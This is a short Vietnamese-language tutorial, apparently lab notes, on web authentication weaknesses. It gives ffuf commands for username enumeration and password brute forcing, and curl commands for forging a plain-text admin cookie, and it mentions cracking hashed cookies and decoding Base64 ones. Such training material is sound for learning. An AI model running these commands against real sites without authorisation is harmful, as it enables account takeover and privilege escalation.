Username Enumeration

Chúng ta có thể lợi dụng chức năng báo trùng username khi đăng ký để tìm ra danh sách người dùng. Sử dụng ffuf:

ffuf -w /path/to/usernames.txt -X POST -d "username=FUZZ&password=x" -H "Content-Type: application/x-www-form-urlencoded" -u <URL> -mr "username already exists"
  • -X POST: Gửi request POST.
  • -d: Dữ liệu gửi đi, FUZZ là placeholder cho các từ trong wordlist.
  • -H: Header của request.
  • -mr: Lọc các response chứa chuỗi “username already exists”.

Password Brute Forcing

Sau khi có danh sách username, chúng ta có thể brute force mật khẩu:

ffuf -w usernames.txt:W1,passwords.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u <URL> -mc 200
  • W1W2 là placeholder cho username và password.
  • -mc 200: Chỉ hiển thị các response có status code 200 (thành công).

Logic Flaw

Sử dụng curl để gửi request tùy chỉnh:

curl 'http://domain.com' -H 'Content-Type: application/x-www-form-urlencoded' -d 'parameter=value'
  • -H: Thêm/sửa header.
  • -d: Dữ liệu POST.

Plain Text

Nếu cookie được lưu dưới dạng văn bản thuần, chúng ta có thể dễ dàng chỉnh sửa. Ví dụ: logged_in=true; admin=false; Chúng ta có thể đổi admin=false thành admin=true để có quyền admin:

curl http://domain.com/cookie-test -H "Cookie: logged_in=true; admin=true"

Hashing

Cookie có thể được hash (ví dụ: MD5, SHA1). Vì hash là hàm tất định, chúng ta có thể sử dụng các rainbow table hoặc các dịch vụ như CrackStation để tìm giá trị gốc.

Encoding

Cookie cũng có thể được encode (ví dụ: Base64). Encoding chỉ là thay đổi dạng biểu diễn và có thể dễ dàng giải mã ngược lại.